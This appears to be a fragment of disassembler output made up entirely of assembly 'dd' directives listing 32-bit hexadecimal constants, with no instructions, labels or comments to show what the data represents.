		dd 611DCD6Dh, 1456D20Ch, 84012D3h, 74892CE9h, 53DB8B27h
		dd 880B9DE8h, 580EA983h, 1C5D0AADh, 0F07C975Ah,	0E022E941h
		dd 35482E80h, 170F3661h, 750C2DECh, 0B0DBB8DEh,	0C86E1856h
		dd 32E40C18h, 0EABCB462h, 5BDA207Ch, 5A24D101h,	0FC0B3256h
		dd 0C67122A8h, 0D2E36268h, 922E5EB7h, 8FD7F20Bh, 422064F3h
		dd 5225DACEh, 0E001B353h, 5E516344h, 2C20B031h,	0EB66D25Ch
		dd 8FC9FAA6h, 17905502h, 57795566h, 173ADAB5h, 0FEDB9AE9h
		dd 0BC660C98h, 0E1153C3Fh, 1B10070Dh, 2D9EC75Dh, 185901E4h
		dd 0EA20D6Ch, 8668161Ah, 0BF9BC846h, 0C7AE5BD2h, 0FE5FD57Eh
		dd 0B2487A9Ch, 9F7CB931h, 54A90AFEh, 0BEF59293h, 0F1000CB1h
		dd 5BC10783h, 0D1DD801Ah, 809E181h, 801DDF31h, 4A2AFC2Eh
		dd 29414C43h, 0E32F2400h, 59CE3102h, 6CF78925h,	2A0F275Eh
		dd 0DCB69F69h, 0DC950747h, 610F3D24h, 0C6C078D9h, 8E6DAE35h
		dd 755F02FDh, 76939C5Bh, 0B4836483h, 7CF08EAEh,	4A445549h
		dd 2EFEF552h, 2B8D4B1Eh, 0BAA9E14h, 65714274h, 5C56858Dh
		dd 0B806BD60h, 4A050425h, 0EACC25F5h, 0CDAAFA16h, 6CE3D986h
		dd 5D5A13F1h, 7E9F9DBAh, 0E98444E2h, 45DDE866h,	50E73A83h
		dd 0B7E1F025h, 61F02B5Fh, 3BEF1781h, 0A06019AAh, 91886E45h
		dd 825489C0h, 4E170C7Dh, 570EC27Ch, 4F3EE5FCh, 0D16FCD99h
		dd 0C26AF8D0h, 5A6A565Dh, 0E9F0EA5Ch, 0B6555BF2h, 56331079h
		dd 90DDE24Eh, 0D456101Ah, 0B5735925h, 0D38C5219h, 0F7EA306Bh
		dd 1B4F7115h, 0C2A809BBh, 16CFCE55h, 0BC0DCB68h, 2808C4E2h
		dd 32E6E930h, 0F494FF82h, 0DF3E0B97h, 0D62F6395h, 0D0B5BC5h
		dd 107C62E9h, 979C1274h, 98F3BE75h, 9C31B7B3h, 5A7F346Eh
		dd 56E78102h, 75647753h, 27517F81h, 32897F24h, 7D6F903Bh
		dd 685A2B73h, 3E6BE8F8h, 17E2457Fh, 0F37509CFh,	5C3DEE45h
		dd 0DEECD388h, 4231BE5Bh, 0B0529584h, 6D5DFE47h, 53379FF2h
		dd 7E7FBD01h, 6AF17BDAh, 1EC7526Ah, 1A5A0224h, 0A8D64204h
		dd 2DD68F58h, 0DA0B5901h, 80FBC0DDh, 84A09D48h,	0B39F129Dh
		dd 0C4F02EFDh, 0A9965ACFh, 0A2BEB5EAh, 10FD92BBh, 508EED3Fh
		dd 0B7CB25B4h
		dd 4024A20Ah, 3B16C1F7h, 0E475A30h, 0BFEA4D4Ch,	6DED9160h
		dd 0E907D70Bh, 0B96461AFh, 6A5FF53Fh, 83FEBCC4h, 0D6AD9C06h
		dd 2C4AA665h, 0A5A20ABCh, 0F4E20955h, 5203541Eh, 0D24E75BAh
		dd 0C5E9884Ah, 760820Bh, 0CBF278E1h, 0E6A8935Eh, 9D30FAD3h
		dd 7049E958h, 16759732h, 0B9027145h, 0BF688665h, 9E201B47h
		dd 0C6801C9Dh, 5DE61D65h, 125859EEh, 8850C453h,	0C77AF072h
		dd 0E0A85151h, 975BE9FCh, 0B5BA8C00h, 23E6802h,	47ACCA81h
		dd 0D4837F79h, 26C27EC6h, 27F0EB80h, 0E9174B92h, 99BE7CE4h
		dd 51F50014h, 6E9D02B9h, 7068736Bh, 8FD9BD33h, 5959E958h
		dd 5012F3E6h, 0C413AF30h, 5C2E3AABh, 0E8E9C4C7h, 0F8F312AEh
		dd 9E09D6BBh, 0B6BA1E83h, 376EC2FFh, 7F77B27Dh,	0E681AA32h
		dd 211B9373h, 890A0C2h,	53E95F09h, 0BC8DAAAh, 9750A013h
		dd 83328455h, 8B45BA14h, 9085E06Bh, 0EF8BCDBEh,	93A0F707h
		dd 0E9D1E52h, 173049B6h, 13689CC7h, 0AF21628Bh,	0F4AA6164h
		dd 1012DE14h, 0E6013F67h, 15C30F28h, 8F16ED19h,	77E3C1A1h
		dd 0CB028DECh, 7B9D2FB4h, 0C3E03E0h, 31CA1D13h,	5201E144h
		dd 4154DAFBh, 2DEA2BF6h, 0D8A3ED3h, 6E2DABD6h, 44617938h
		dd 0E2A3191Eh, 93D1D177h, 9331A957h, 0C3BA704h,	58EA92D2h
		dd 1E5D974Fh, 0D7E92710h, 0FD77F472h, 0F1979D2Fh, 56B9C0CEh
		dd 3E132F14h, 38570E9h,	0C556B2EAh, 8DBA5247h, 25B3BE15h
		dd 0B645C081h, 95BBEE14h, 0E4357D00h, 627A7850h, 0A16865Fh
		dd 801700BEh, 0DDF601C5h, 4D3D5E4h, 46225204h, 0BED1F0A2h
		dd 16E5BF92h, 1277652Fh, 4B95F613h, 22708BBAh, 0F5FF202Ch
		dd 30E26816h, 0CB742262h, 49BCE92Ah, 0E5DF8338h, 0AC986555h
		dd 0E000D249h, 7D86346Ch, 0D70EE2FEh, 0C02A9E39h, 0CD73BDF2h
		dd 9C80BD07h, 0E974B518h, 97E67A31h, 0D15808E0h, 4717025Ah
		dd 29B6E90Ah, 151FB800h, 0DC6A48C4h, 98587B01h,	20F8090Eh
		dd 0B65C99D0h, 0B016A548h, 13ECA5F0h, 82C692BDh, 98E15E07h
		dd 0C331938Ah, 0AA2585AFh, 0F64F26DEh, 13A0DFDCh, 208ECDE9h
		dd 49AEF727h, 7A29822Dh, 180AFE3Bh, 0C24E5821h,	0DB34EF77h
		dd 0E15294DFh, 895C8FFFh, 0B18C0C5Ch, 0A22B27E9h, 0ECDB874Bh
		dd 1AD8A98h, 3047D548h,	0E4E7511Ah, 1E2A3D33h, 0A5889A92h
		dd 0F957D29Ch, 1410CB37h, 642761BDh, 7FDB0952h,	0EF8057AFh
		dd 0BFE982ECh, 1FB75C4Bh, 0A8595CC4h, 0CAA5A765h, 6C6985BDh
		dd 3145F602h, 4B82598Fh, 0A1602FDDh, 5F27CA44h,	0FDB362D4h
		dd 52FA4C16h, 8803CD2Ch, 0C21B6B19h, 0B4870830h, 0D6607233h
		dd 799EDFC1h, 6E0872ACh, 19BF0002h, 816B836Dh, 3C5DCF02h
		dd 60470A78h, 184F03ECh, 4D187FE9h, 63955AD3h, 5DA6D970h
		dd 494ED03Ah, 485F2B26h, 66CBCFC0h, 0E44264B6h,	41AB1283h
		dd 8D462323h, 0A6412C5Fh, 0FE9680AFh, 4574914Fh, 861CBD59h
		dd 5A2F6F50h, 2D62C009h, 7C2E4A58h, 514946Ch, 0EC5A2D07h
		dd 22D841D8h, 53A95B21h, 4F44EEB4h, 481812EAh, 5E3D0889h
		dd 0BEFCAE2Ch, 0FED8218Eh, 0B5BD022Dh, 5F01D53Dh, 0DAC3889Fh
		dd 89EB6AE0h, 9EAFCFE1h, 277F59ABh, 0A56ACAFCh,	0F3AE7B0Ch
		dd 62720BC1h, 0D5CA2971h, 0BA5D0804h, 42308B97h, 4C11305Bh
		dd 430B4846h, 8028308h,	0AFF471A8h, 2776C588h, 0D6A50856h
		dd 0FCCA8A7h, 115D1684h, 13A1F781h, 0E7DC4007h,	7A022B8Eh
		dd 0A5E94760h, 0B87BD7FAh, 0CE6238BEh, 0E5FEFA64h, 22F27A03h
		dd 0FE073FC5h, 56256031h, 314FDC2Ah, 9A5FFA30h,	72E964E6h
		dd 0DE272F13h, 2979257Fh, 0F47B2F29h, 620F7673h, 0FD5D0FB9h
		dd 5B6757E5h, 0CD3722A5h, 0EDB8A04Eh, 4E540FFEh, 2DBC82DEh
		dd 0E1B7F7F2h, 672CFDC2h, 6839FB4Bh, 284FF86Bh,	0F10E29A4h
		dd 8A36125Eh, 0DD25F021h, 0A8AA6C8h, 0E9172EFCh, 3A27C23h
		dd 6DC84BDFh, 883CC755h, 41C52A0h, 77532CCBh, 606A08Ch
		dd 2FA378B7h, 3A794B19h, 0B9109BACh, 26896826h,	53E325F4h
		dd 2A79E7E9h, 81EF5DD4h, 3AD1EDB4h, 0B850ED70h,	203500E5h
		dd 4BC4BA57h, 0E92DA7AAh, 5EA808Fh, 4B316DDFh, 6FC2EAF0h
		dd 5D57C9FEh, 5DC5E59Fh, 69E0E9EAh, 50134354h, 3E91C377h
		dd 0A42F5A7Fh, 0D1E7933Bh, 0A0C74570h, 0C7955F1Dh, 16C8A7EEh
		dd 8081D9C1h, 4F88C660h, 2F49BAD1h, 585A6052h, 5346DE83h
		dd 716A85E8h, 2A661913h, 54F920FBh, 26276858h, 255CC60Fh
		dd 0FF689963h, 7C3B58B9h, 98680B70h, 8826715Dh,	0D52545C8h
		dd 4D884998h, 53AC9BFh,	93B84E1h, 0F0F65ED1h, 85F7C5D2h
		dd 223A0EE9h, 685708A9h, 122885F2h, 0EB2186DCh,	1FE94FA0h
		dd 0C1719173h, 5D0D50F6h, 24223061h, 599A6912h,	0C40502B9h
		dd 802EC07Ch, 2BD0F9B4h, 0DF347298h, 0C2AF772Dh, 135E6F46h
		dd 0F5686602h, 0D939D527h, 29DF8919h, 6B9E79FAh, 8E8667DFh
		dd 0FE12568Ch, 632D65B3h, 6A505E61h, 0E9C28EA2h, 0B6FD8EBBh
		dd 5CE91310h, 5C578E12h, 0D329C4CCh, 53C564FAh,	1636F3E2h
		dd 3C4B30E9h, 9A6C004Bh, 25D588ABh, 8579DE31h, 0DEB2F364h
		dd 1853A90h, 0F02A84D3h, 0E10481EBh, 57CF6F4Bh,	0B69F2680h
		dd 0AC2C48C7h, 894DC813h, 68E330C9h, 8AC535C0h,	0EC788E49h
		dd 1ADE0BF5h, 227F26A7h, 55E85AE6h, 534E024Eh, 9D9AEEA0h
		dd 0B455D989h, 956C9FF8h, 4B685497h, 5F098755h,	27995F3Bh
		dd 3AE3D58h, 0BE5D72EEh, 491D91Bh, 5AA5AB39h, 76400A28h
		dd 85922116h, 6CB9895Eh, 0C50C5F7Bh, 0A9E2EF61h, 511226B3h
		dd 36AEEF87h, 0B2FE7E23h, 71C40355h, 29BE2E4Bh,	5298CDDCh
		dd 0E6DD666Ch, 4BAA2048h, 56AF5B4Bh, 0BECAFBDEh, 9611EC4Fh
		dd 4A2605BEh, 0E659D01Dh, 0C4B2650h, 0DAC1E0B2h, 7F29B177h
		dd 0E49EE558h, 1408041Dh, 0BC7FF1E9h, 5EEBC5DBh, 0DF30548Dh
		dd 9B49BF1Fh, 0F8752003h, 9B8B9D12h, 1734B2AAh,	96BD8F94h
		dd 0DF89AC4Fh, 1957FB49h, 8F6A5A09h, 38E90C00h,	1EB11060h
		dd 4CEDB41Ah, 0B8124AD1h, 5E285B7Eh, 59608177h,	562E7515h
		dd 7E229A79h, 0B7B02D55h, 9F4834D5h, 0BA4D6FEEh, 54ED4BCCh
		dd 3CF829CBh, 0F070A326h, 0FCEFC08Fh, 8007E7C0h, 5028FBC7h
		dd 41A27FF8h, 0BED46E1Ch, 12694EAh, 0DA058A97h,	7218A725h
		dd 0E996802Bh, 0AB4A5AAFh, 0A5F41553h, 876640BEh, 0AFD7F951h
		dd 0F1732009h, 0B5CDACFh, 14DE986h, 575891DCh, 0AFB90651h
		dd 3809926Fh, 41F3E913h, 0D8DEC7B9h, 51B93376h,	819A1767h
		dd 401D5EB1h, 40744CC6h, 0CD59B40Ch, 58E602F4h,	5728EE80h
		dd 0CA6688E1h, 372C38D9h, 406A5651h, 513CBE95h,	0E89036B6h
		dd 7628F509h, 22C0D5BAh, 0AB9F7ADFh, 75A20B28h,	7936D46Eh
		dd 89320F90h, 0E258A4FAh, 0A920126Ah, 0DF6D1125h, 1CDE0116h
		dd 0E32973D6h, 3B7C2FF1h, 0BD003DCAh, 2A232427h, 87FEDC1h
		dd 10D420E6h, 0F4D0C4E4h, 1704E2ABh, 8BBF9406h,	20ED48DBh
		dd 278D9073h, 0BCEEAFF5h, 0D4A07797h, 2CA0EF80h, 3A2CF748h
		dd 0A85B3904h, 0D0F7AF73h, 4F5AA4E9h, 84EF71AEh, 0E19B2A0Fh
		dd 68532960h, 0D8264095h, 0CB02C066h, 4C9219DCh, 4EEC0BEBh
		dd 0D3800C1Dh, 0BD0FE22Dh, 68E8079Fh, 0BDA22694h, 83CC5D2Dh
		dd 0D399E12Fh, 14B90971h, 0FACA1C24h, 1D3AA801h, 0FB405209h
		dd 4A98410Eh, 83D1F04Dh, 0F6C440F3h, 10056E18h,	9789E96Dh
		dd 54F78EAh, 256C4D95h,	12524E75h, 0F4351A68h, 3B412D60h
		dd 2882E440h, 0AFBFA3D7h
		dd 8D07FD4h, 1F0AD6BAh,	0E6897CB6h, 0A0D7C9C7h,	0DF2EEFC8h
		dd 316F03C0h, 8482E9F9h, 5CBF5407h, 632B083Bh, 0DC9A9858h
		dd 0F1EB4F64h, 62002A6Ah, 0E33E1BB8h, 0D8F7255Ch, 398F6D0h
		dd 718C2F4Eh, 974CB2F3h, 0C0CB09D6h, 0B01B960h,	0D5F757D1h
		dd 0D45848F0h, 0C503090h, 16237E2Dh, 0B998E94Ah, 3EE203F3h
		dd 0D930910Eh, 16B87451h, 5259EB00h, 0B05068B2h, 0C209A070h
		dd 1A9DAEE9h, 86DA456Bh, 594B34E9h, 62EDF504h, 0DB926EBEh
		dd 0BAC8FD05h, 9B9E3AE9h, 0C2295E0Bh, 635FF968h, 9895B5E9h
		dd 485B21FBh, 98FB31EAh, 555F00FAh, 52BB0453h, 0FF598B2Dh
		dd 2FD195Ch, 0E9418531h, 545AC8F9h, 0F89CBC5Eh,	3639268h
		dd 766ACA87h, 0C1415A29h, 30CF313Ah, 0CC4810CCh, 6D1BDEC0h
		dd 0C311B3DBh, 0FE96CA8Dh, 746614D8h, 9AC60192h, 7061C017h
		dd 1F091DC7h, 8E490A21h, 23E962CDh, 5C595DD0h, 6C753F09h
		dd 82D55DBDh, 6629FE4Fh, 5AEA60ADh, 0C1F848F8h,	437CE918h
		dd 1653EECDh, 0A8EA02AAh, 0A680C02h, 5E37F315h,	765BB34Bh
		dd 1E921616h, 3376C2FBh, 0E60231EAh, 0B7DC1C4Eh, 55CAF381h
		dd 8B2E2336h, 0E9A0615Ch, 9F655E4Bh, 382C1CFDh,	6A6A02F1h
		dd 0A916EA8Ah, 7ACCAB9Ah, 950FBAA6h, 0C1B88BEEh, 6724B9B3h
		dd 0B0510E00h, 0B68DE92Ah, 347C27D4h, 0ECB05EE4h, 0DECDE58h
		dd 7E899863h, 8E3721ADh, 8051050Ah, 24259945h, 5A4A9F90h
		dd 250FF09h, 0FDE584Dh,	6796497Fh, 523DF564h, 5F320F68h
		dd 0C4BFF61Ah, 86FB82B4h, 20A8580Bh, 0E29F69E1h, 81DBDD62h
		dd 7688D0AEh, 0F5C797F0h, 1AD205C6h, 5C5F18F6h,	342BA82Fh
		dd 8044944Fh, 1D7E0531h, 1132B27h, 628168ADh, 2CB39B7Bh
		dd 5DC463EFh, 368C68Ch,	22C326B2h, 3F9465Eh, 62FFAFE5h
		dd 4060121Ah, 0F4577619h, 34D49705h, 0D8C80820h, 3F950A0Ch
		dd 2C92C9D1h, 8753E9FDh, 906FF22Bh, 0CC8C5EBDh,	85EF955Bh
		dd 0E8C4C92Eh, 0F9D2F082h, 4CC9CF79h, 0B12DE3C0h, 1CAA6B17h
		dd 2B195BF6h, 20F13D46h, 444F7D96h, 61AA5785h, 8174D10Eh
		dd 159EF529h, 0AA806BB9h, 3A6E7CEFh, 0A62CE970h, 0DEED9F4Dh
		dd 1D5336A5h, 0D478680Eh, 0AB00D3DAh, 2C93EDEh,	65E60681h
		dd 0C5FB759h, 3C1A4E12h, 285E7F05h, 2D5D7A00h, 0E23F19AAh
		dd 820B9029h, 600DD907h, 7A7452EFh, 8743E912h, 286AE6EFh
		dd 0A677A959h, 0FA267928h, 230DA269h, 4E90108h,	7F685D31h
		dd 2F75F303h, 9FF05040h, 0BA70C6F4h, 0D60C1777h, 2148452h
		dd 0AE9EF2Ah, 0E681825Ch, 4C8C6CC5h, 7120B421h,	0FC3C4EA7h
		dd 0BC86019Ch, 0D601CE36h, 4849ED3Eh, 788725B9h, 2D0603E8h
		dd 68562E44h, 6A210980h, 4B20E939h, 6FFC8A91h, 8DF0CACh
		dd 0F630EE26h, 5F026D7Ch, 13E3B010h, 9BFADDD3h,	29FB4A9Bh
		dd 2E277ADCh, 0F66C68E2h, 0C070966Bh, 277505E2h, 2ED1DBA3h
		dd 9E966D60h, 18850596h, 71E7BD1Dh, 3AD74B1Dh, 0A595F9B4h
		dd 1620467Fh, 0F33B7968h, 23C719ABh, 133A1A67h,	0C7CEAF0Eh
		dd 87E4E90Bh, 7BADC0D1h, 849F8C45h, 0EB4C8042h,	51C30AF6h
		dd 8D09B7B1h, 13527116h, 81C30855h, 8C20C020h, 495E27ABh
		dd 4899F268h, 0F63BF925h, 57F1C209h, 82220F41h,	58BEDC7Ah
		dd 262374E7h, 2EDE251Fh, 76FCFC5Bh, 5292A917h, 880B0485h
		dd 68050B7Dh, 0FF2D5B16h, 0E8C10387h, 71DFE102h, 0C0FFD297h
		dd 0B7F368E2h, 0B3E0FD4Ch, 0F82DBD2Fh, 0F4214AA2h, 4509C02Bh
		dd 7F31FC03h, 0EDE99591h, 65C82A2Ah, 406D41A5h,	1E2EF5E5h
		dd 1078863Eh, 0B04B8CE8h, 6112F223h, 0C0EF0CA4h, 53C4C591h
		dd 41983071h, 9F14EA39h, 0FC2D013Fh, 1223C118h,	0F744835Bh
		dd 0BD5572B7h, 9B60CFF1h, 0B87AC071h, 0ED94B39Bh, 31BA0163h
		dd 128020D6h, 8084B107h, 8E0B3CC1h, 1D682212h, 2FF6A219h
		dd 46EA23DDh, 0D875CA99h, 21E1E2F2h, 0DE46FE5h,	28593695h
		dd 40406BCh, 69856847h,	2B7428Ch, 2EFC0C4h, 841F780h, 883425A2h
		dd 89678372h, 88FCD2B6h, 925EF150h, 0AB7F9DBAh,	25145DE2h
		dd 0D2000490h, 2979C022h, 515750EAh, 477809BFh,	0BA8DC40h
		dd 290D2A31h, 8826478h,	77A43DF1h, 9EE95241h, 0FE08003Eh
		dd 80D6F6C6h, 0D0B045E6h, 51140761h, 0F5EC35B5h, 0BCE913EBh
		dd 42409083h, 0C3EB827h, 73081845h, 174BB946h, 0BF0F165Dh
		dd 7EF514h, 0D43E341Bh,	3C59CB21h, 9386857h, 0B27283Fh
		dd 0A24BEC0Bh, 6E93A1C9h, 912D3C40h, 750279h, 0AB3B8C05h
		dd 0EF623565h, 7C3A3825h, 5384B961h, 0AC2D0C6Bh, 0C9BF001Eh
		dd 29AA4569h, 4A5E73F7h, 799ED0FAh, 0E975A82Bh,	30781364h
		dd 0E528D7C0h, 90C07358h, 73B322Eh, 29D52D1Ch, 2F125FC5h
		dd 0B4C6C477h, 6F5CF1E9h, 2EC44021h, 0DE849229h, 0AD1C861h
		dd 4DAA3F16h, 99791944h, 0EC685E01h, 0FE982E7Ah, 0E21D2E0Eh
		dd 0F9430349h, 4278F701h, 4AE41612h, 3E751AFBh,	5EF05C57h
		dd 3A4D40B7h, 7EF2D50h,	89BECAE0h, 0DE3B3ABFh, 203F4F29h
		dd 793EBE05h, 80BA3CC5h, 0C33A862Ah, 0D8FC295Eh, 92CE98Fh
		dd 94036880h, 5F62B02Ah, 0B4EA8C47h, 87126352h,	0F7B8A9DDh
		dd 24808E10h, 3F8E068Bh, 0CBFF1228h, 0C88F5574h, 1F48B351h
		dd 7F7F2564h, 505BB1C6h, 3ECB2DBFh, 0B41E61E0h,	7AF425C0h
		dd 0D817F7ACh, 0B4B234AAh, 51B55A63h, 3094A5B7h, 46E95016h
		dd 0DD5AC04Ah, 0F953DC12h, 5CB838AEh, 44793504h, 0EB9046CEh
		dd 98010C30h, 0E2F49D0Bh, 93BD7427h, 0BBFFF00Eh, 641E3E0Bh
		dd 0B768D731h, 4D3088CBh, 8DF34689h, 54592E25h,	248F0212h
		dd 0E07D3FC4h, 0EC60F1DDh, 76D4A07Eh, 0B658271Fh, 0DD9E00FDh
		dd 955B2DE9h, 6640DB48h, 0F70CC009h, 0F152DDDEh, 982B12A1h
		dd 670C4408h, 43C30486h, 0BB53FAE9h, 0CBA82944h, 37126802h
		dd 0D161C9DEh, 7F4C29h,	3CFFC33Ah, 0EBF47DE9h, 5B084ED0h
		dd 0C1A297C8h, 0F672B255h, 1DD130D2h, 4C98CE98h, 0CC202ECh
		dd 62D13022h, 3184DFD4h, 66D0C0C4h, 704C7168h, 9CB28F29h
		dd 0FB82D016h, 9D7A58C5h, 816C4D51h, 5D71B758h,	7DD00C62h
		dd 681389EEh, 6EA34A0Fh, 1C5A7800h, 0E9CD091Eh,	1C854E4Fh
		dd 0EE0291B6h, 0E3C81CA4h, 0E9187170h, 0EF95DD35h, 7A14134Eh
		dd 0C56C0038h, 27937DACh, 8A7C829Dh, 55D1D24Fh,	0C06FB6E8h
		dd 66E6145h, 410440C1h,	0C841DBAAh, 0BF242947h,	0C94D62EAh
		dd 1E7D5DF8h, 0F0E1FF91h, 0C24EE86Fh, 741EF968h, 0E2E9E11Dh
		dd 44E87BF8h, 0B60AE2B6h, 0A21A9255h, 101EC900h, 6099E965h
		dd 2AEB2383h, 2E48CD42h, 0EDFC179Eh, 38E0D2C9h,	5878B6DEh
		dd 0C15B2201h, 14788CB8h, 9337E64Ch, 59162F05h,	9741FA13h
		dd 42660E9Ah, 1223E2F8h, 2675A1Eh, 17082DB4h, 0EAD54641h
		dd 15E5B180h, 0CCA0A721h, 5118B7EDh, 8CA04677h,	76417225h
		dd 0A0C3FC01h, 9F895D08h, 0D6B51EECh, 50EC4F60h, 64ECE5BBh
		dd 8D35872Eh, 6330A902h, 3F095C33h, 34F801F3h, 4CE92766h
		dd 0ED8B5014h, 0AF583D99h, 3BCD450Ch, 5BE95EB4h, 0EB5585DAh
		dd 6E12CBE3h, 5E05B443h, 518302B7h, 2D6F6154h, 0CCDE5DC2h
		dd 5FF2B754h, 7FE9CA0Ah, 0DF98F63Ch, 1321CF38h,	0AC280518h
		dd 0B65109C9h, 4A9AFF25h, 13E45275h, 8459E955h,	0E2C7AE22h
		dd 0B5DC2863h, 75E1B082h, 4F5970D4h, 0D271D9F9h, 6B0609D7h
		dd 0E80F305Bh, 0C26DC3E5h, 7E4175C0h, 1F122379h, 7EA58768h
		dd 68D7EB99h
		dd 0E2401C9Bh, 0E5B6A070h, 0A82F248Fh, 8ED0B16h, 9FF4FB29h
		dd 10CF6804h, 7479B9A2h, 0B56E958Bh, 94205F12h,	35C8D504h
		dd 0CB845CACh, 92C340ECh, 0FAD51698h, 0C239BCDAh, 5E093655h
		dd 7E502824h, 608C1A4Fh, 5D761231h, 65FC7125h, 1E7EF466h
		dd 403D159h, 1B1A3CCFh,	26CEF9C3h, 2DD6290Dh, 0F76289F7h
		dd 6097A316h, 86237A65h, 0F59C502Fh, 0C0B65423h, 0E3E8DCBAh
		dd 567FD029h, 0E39AA632h, 0C349F5EBh, 5B507F5Dh, 7BDD12B5h
		dd 0E9FE68FFh, 0A03D8C27h, 0E82127D3h, 0FAFBE657h, 0D01E5F94h
		dd 5415A340h, 44FF5C5Ch, 0E30281B1h, 6712371Dh,	8128FC43h
		dd 599B60C3h, 50B33842h, 2809A4FFh, 68580EABh, 0C071B2F2h
		dd 2215EB45h, 3CC131C3h, 0A15D33E2h, 95E59C20h,	532A31EEh
		dd 885E5C68h, 4CC069A4h, 432F5E01h, 92C1DD93h, 0C1D52C3Ah
		dd 1FCE490Bh, 0CD16BB2Bh, 51F085A2h, 172D6F68h,	4E68F03Ah
		dd 0E9331202h, 6AE30347h, 0F2258A44h, 0E66FEB4h, 0E6E632FFh
		dd 0F7A1923Ch, 0C4132A18h, 7FC47CAAh, 7C957070h, 6D5F5985h
		dd 41711337h, 403281CCh, 730ABD87h, 9C4F9A0Ch, 0C22550Bh
		dd 3E520CBFh, 89A511FAh, 0F6C6BBC0h, 0B615BB83h, 2F517D0Ah
		dd 0ECD9345Bh, 75D7B889h, 62F46AE6h, 51E8454Fh,	61091A1h
		dd 0FE65D46h, 5E68284Ah, 0C2875350h, 0E03AD550h, 2DAAC85Fh
		dd 0B6A0207Fh, 0DCDE42BDh, 76AADA75h, 202F0987h, 0E02D566Ch
		dd 0BE90F550h, 8D2E2959h, 2302A54Dh, 803FA10Eh,	0FB4AB2FBh
		dd 0FEC9F20h, 7B7B23F8h, 0E9272975h, 0BFEEC10Fh, 2F82EC2Fh
		dd 78165F01h, 67E9F00Bh, 2D6CD965h, 1D07C750h, 2D40281Bh
		dd 26B917A0h, 58C32721h, 78582D5h, 32A4C850h, 0B8300E83h
		dd 52E90A12h, 5F9737F0h, 0AAE9DD01h, 152D69C4h,	2C986B6h
		dd 3437B9F6h, 1D707575h, 0FE73C497h, 1DFD9ADBh,	4231D2Dh
		dd 0FB0DCC05h, 7E58E1B0h, 0E8013E62h, 0B9C56E2h, 3717BB00h
		dd 0D74C485Eh, 0AA1A2476h, 44F31EF5h, 836E222Ah, 0B8120685h
		dd 0C4170327h, 7B7A81FBh, 6EE76E63h, 5E127C58h,	5C7B3275h
		dd 58DB745Dh, 149567E6h, 0BB5595C4h, 0E4B4F449h, 62CF5A61h
		dd 9681816Ch, 3F70DA2Eh, 8043BB5h, 0CB5A50ACh, 21BF4E9Fh
		dd 3237F417h, 1E5C2039h, 8BAC580h, 0FE0CE093h, 165414CDh
		dd 4E59EE20h, 0DEE83BAEh, 1B85E906h, 59CE05CBh,	0C001EE83h
		dd 0FFBCC663h, 565F7C04h, 89FA5E58h, 0EA504019h, 4B25D359h
		dd 839ED429h, 32C53C30h, 0E1C001D5h, 0DC15480Ch, 90C9DBF7h
		dd 50835E3Eh, 5E8159C2h, 1230527Bh, 7B0DA358h, 87452DC2h
		dd 1E81FFEAh, 0DB79E162h, 0B38B5AC0h, 0F629832Dh, 375980FAh
		dd 63E908F9h, 65FF532Dh, 0FAF79660h, 65E92920h,	5928C342h
		dd 0F8C1D788h, 0C0106C20h, 6EBF10ADh, 53E0955Bh, 0A4B49BE9h
		dd 0AED5F60Ah, 0DD43301Dh, 0C105EDC0h, 0D33E1DF5h, 107B08BEh
		dd 0B4505309h, 0DE7AD0CCh, 605C2734h, 646EED1Fh, 0C0D7BF16h
		dd 0DDBA5274h, 0FBB205F5h, 7DE56844h, 0ABC45809h, 4EE52F5Bh
		dd 95294C60h, 0EAD3CCECh, 85D9B7AFh, 6DBB324Fh,	58D17A93h
		dd 7FA877E8h, 0C1663296h, 2EF705B8h, 64FDAFD8h,	0B6C23878h
		dd 0EC7E0BA9h, 0C34B9C03h, 427EE113h, 6899703Fh, 252809B8h
		dd 0C207E436h, 0C9DAF64Ch, 0D8E9D0F1h, 0EEF8166Fh, 8010068Bh
		dd 0DC2D0339h, 0D217DE07h, 68716875h, 0F432920Fh, 0CCBC4A4Eh
		dd 39D464BDh, 192D07B5h, 7A472283h, 2904A250h, 70551C8h
		dd 0B1BE616Eh, 39D03B8Ah, 7B8C516Eh, 17AF4A46h,	0EEA51433h
		dd 0D5854F31h, 2AD86A54h, 5AB84250h, 8AEF3E13h,	6DE98346h
		dd 25512F8h, 8B6CA63Dh,	0E771FB51h, 0C1C55CD3h,	0ED21CC09h
		dd 42E4070Eh, 0F5C04B82h, 6A29FBC1h, 0E9A1ACECh, 2F166843h
		dd 72505Dh, 6C47E235h, 7B9C056Ah, 7B037E4h, 354029B6h
		dd 0E7CE686Bh, 5621E06Eh, 72FB769Fh, 6C689948h,	66A31F4Fh
		dd 0CD934D13h, 0CF533BB1h, 0BBF535ECh, 5285DCA2h, 9E1DEC34h
		dd 0F921EE0Bh, 82FB8CF4h, 0D4B15C10h, 5320F08Ch, 4B4216C6h
		dd 34BC92h, 0A87B8ABAh,	7A5EF789h, 7DCF0447h, 0BE746272h
		dd 8AD5AB1h, 483C2BDEh,	617C2A4Bh, 92A44C1h, 8216192h
		dd 9495230h, 484CE944h,	925E8399h, 0E2C0C7BAh, 97CAFE5Ch
		dd 192073D0h, 1AB0A006h, 80935A3Eh, 37E7AF3h, 0ADE96213h
		dd 0DDDDDB5Ch, 0CD5242D6h, 14D1A401h, 27EC1A8Dh, 7B9095B3h
		dd 9B0CBA52h, 58286302h, 0E5E16F8h, 79C0256h, 4D7E5D1h
		dd 0A0BB06F0h, 4E71A6B1h, 0F9C5944Bh, 41AD44F0h, 54D8806Dh
		dd 578BA7Bh, 0BF1D1A87h, 0CA75D06Ch, 0F6E68B5Ch, 0FA014250h
		dd 68098540h, 549034E2h, 0F6B5DA60h, 4B22B059h,	5C82EB0Eh
		dd 8F4E45CDh, 0EA76E901h, 0BFF4A239h, 41A3AA8Eh, 0CA53700h
		dd 2227A84Fh, 0BEFE05Ah, 5F091DD0h, 9888398Fh, 0BD86E9B6h
		dd 0E265160Fh, 0FFF6BE58h, 0EC16C116h, 905CE272h, 26AF0F60h
		dd 196D51C8h, 0D4B8A313h, 4C499367h, 45C804AAh,	0C6FA510Ch
		dd 350414C0h, 0F9D9FACAh, 91AD3FD5h, 0A8C7E48Ah, 0A2E72579h
		dd 7F46475h, 0FA2BF4B9h, 732CE25Ah, 0D9023BFDh,	56260CFh
		dd 0BD0DAF40h, 0AE5C1B84h, 0CA97A8B2h, 0D86809C9h, 0CE9C5D28h
		dd 0F5264799h, 7A38FB2Eh, 134FFEEEh, 4F043953h,	2CF0F4FDh
		dd 2EB7002Dh, 0F8011108h, 8A4BF57h, 96BD5F6Fh, 453B340Ch
